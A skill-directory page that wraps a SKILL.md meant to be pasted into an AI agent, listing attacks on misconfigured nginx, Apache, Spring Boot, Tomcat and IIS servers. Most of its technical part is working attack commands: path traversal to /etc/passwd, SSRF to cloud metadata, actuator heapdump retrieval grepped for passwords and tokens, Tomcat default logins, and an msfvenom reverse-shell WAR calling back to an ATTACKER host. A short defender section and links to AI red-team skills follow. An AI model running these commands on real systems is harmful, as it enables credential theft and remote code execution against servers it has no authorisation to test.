proxy-misconfig
What it does
This skill lists common mistakes in reverse proxies and web servers, such as unsafe path aliases and exposed management pages. It is for security testers reviewing server setup.
When to use it
- βWhen a site runs behind nginx, Apache, Tomcat or IIS and you want to check its setup.
- βWhen a Spring Boot app may expose its actuator endpoints.
- βWhen a security review asks whether management pages or default logins are exposed.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether my Spring Boot app exposes any internal management endpoints?β
5 new skills a week. 1 minute to read.
How it works
The agent requests known paths for management tools and proxy rules, then checks whether the server returns internal data such as settings or routes.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Reverse Proxy Misconfigurations
1. Nginx alias traversal
Nginx alias directive (vs root) is dangerous when URL pattern is
prefix-based but alias is a directory:
location /static {
alias /var/www/static/; # trailing slash CRITICAL
}
# But buggy:
location /static {
alias /var/www/static; # NO trailing slash β path traversal possible
}
Bypass:
GET /static../etc/passwd β resolves to /var/www/static../etc/passwd β /var/www/etc/passwd (if exists)
GET /static../ β directory listing if autoindex on
2. Apache mod_rewrite SSRF
RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin β server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data β AWS metadata SSRF
3. Spring Boot Actuator exposure
# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env # all env vars including secrets
curl $TARGET/actuator/heapdump # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings # all routes
curl $TARGET/actuator/loggers # logging config
curl $TARGET/actuator/jolokia/ # JMX bridge β RCE in many configs
# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump
4. Tomcat Manager
curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager
# If logged in β upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/" # triggers shell
5. IIS short-name disclosure (8.3 names)
# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not β leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner
6. Nginx merge_slashes off + URL encoded
GET /api//../../admin # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin # URL-encoded traversal
7. Header injection via X-Forwarded-*
Some apps trust X-Forwarded-For/X-Real-IP from reverse proxy and use
it for auth (admin from internal IP). If proxy doesn't strip incoming headers:
curl -H "X-Forwarded-For: 127.0.0.1" $TARGET/admin
curl -H "X-Real-IP: 10.0.0.1" $TARGET/admin
curl -H "X-Original-Forwarded-For: 192.168.1.1" $TARGET/admin
8. WebSocket Origin bypass via proxy
Proxy doesn't validate WebSocket Origin β attacker-origin can connect.
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
9. HTTP/2 specific attacks
Some proxies have h2 β h1 downgrade bugs (smuggling). See
skills/exploit/web/smuggling.md.
10. Tools
- Nuclei templates for actuator/manager/admin discovery
- JFrog actuator scanner
- shortscan for IIS 8.3
- smuggler.py for h2 β h1
- trustedheaders for header injection
PoC pattern
# Spring Actuator
curl -s "$TARGET/actuator/env" | jq '.propertySources[] | .properties' | head
# Heap dump if accessible:
curl -s -o /tmp/heap.bin "$TARGET/actuator/heapdump"
strings /tmp/heap.bin | grep -iE 'password|token|secret|aws_access' | head
Severity
| Bug | Severity |
|---|---|
Actuator /env w/ secrets visible |
Critical 9.8 |
| Tomcat manager default-creds | Critical 9.8 (RCE) |
| Nginx alias β /etc/passwd | High 8.0 |
| Apache mod_rewrite SSRF β metadata | Critical 9.0 |
| IIS short-name disclosure | Medium 4-5 |
| X-Forwarded-For trust β admin | Critical 9.8 |
Defender
# nginx β always trailing slash on alias
location /static/ {
alias /var/www/static/;
}
# Strip X-Forwarded-* from client
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8; # only trust internal
real_ip_recursive on;
Spring Boot:
management:
endpoints:
web:
exposure:
include: health, info # never *
endpoint:
env:
enabled: false
heapdump:
enabled: false
Cross-references
- Upstream:
skills/_corpus/payloads/Reverse Proxy Misconfigurations/+Insecure Management Interface/ - SSRF chain:
skills/exploit/web/ssrf.md - HTTP smuggling:
skills/exploit/web/smuggling.md
FAQ
What is the actuator risk?
The skill says exposed Spring Boot actuator endpoints can show environment settings, routes and sometimes memory dumps.
Does it cover Tomcat?
Yes, it covers the Tomcat manager page and its default logins.
Does it cover IIS?
Yes, it mentions IIS short-name disclosure.
Details
Original description by the author
Reverse proxy misconfigurations β nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14076
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.